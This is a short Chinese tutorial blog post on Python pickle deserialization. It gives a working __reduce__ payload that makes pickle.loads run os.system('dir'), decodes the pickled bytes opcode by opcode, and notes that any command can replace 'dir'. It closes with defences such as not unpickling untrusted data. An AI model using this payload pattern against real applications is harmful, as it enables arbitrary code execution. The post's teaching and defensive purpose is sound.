上一篇博客中我介绍了python的字符串,元组,列表和字典的序列化
详细请看:
这篇博客我将介绍 python反序列化漏洞 任意代码执行
那么怎么反序列化中运行任意代码呢?
首先要说说__reduce__
这个魔术方法,
这个方法用来表明类的对象应当如何序列化,
当其返回tuple类型时就可以实现任意代码执行
举个例子:
import pickle
import os
class Student(object):
name = 'yuaneuro'
age = '20'
def __reduce__(self):
cmd = "dir"
return os.system, (cmd,)
y = pickle.dumps(Student())
print(y)
pickle.loads(y)
运行结果:
我们看到,当执行反序列化操作后执行了我们的dir
命令
我们将序列化后的结果拿出来分析:
b'\x80\x03cnt\nsystem\nq\x00X\x03\x00\x00\x00dirq\x01\x85q\x02Rq\x03.'
解释:
在\03后使用c
操作符导入了nt
模块中的system
函数,nt
模块是os
模块在windows
上的具体实现
q\x00
标识system
函数在memo
区的索引
X\x03\x00\x00\x00
标识后面dir
这个字符串的长度
q\x01
标识dir
这个字符串在memo区的索引
\x85
建立1个元素的元组,这个元素是前面dir字符串
q\x02
标识了这个元组在memo区的索引
R
操作符标识运行栈顶的函数(system),并把包含dir的元组当做参数传递给它
我们可以把dir换成其他操作命令实现了反序列化漏洞 任意代码执行
那么如何防御这种漏洞呢?
在官方文档中也说过,pickle是个不安全的模块,永远别去反序列化不信任的数据。
- 可以用更高级的接口
__getnewargs()
、__getstate__()
、__setstate__()
等代替__reduce__()
魔术方法 - 进行反序列化操作之前,进行严格的过滤